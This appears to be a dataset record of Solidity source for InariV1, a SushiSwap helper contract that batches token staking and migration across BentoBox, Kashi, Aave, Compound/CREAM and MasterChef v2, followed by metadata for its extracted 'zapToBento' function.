IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | zapToBento | function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
| /// @notice Liquidity zap into BENTO. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
12800,
13598
]
} | 11,787 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
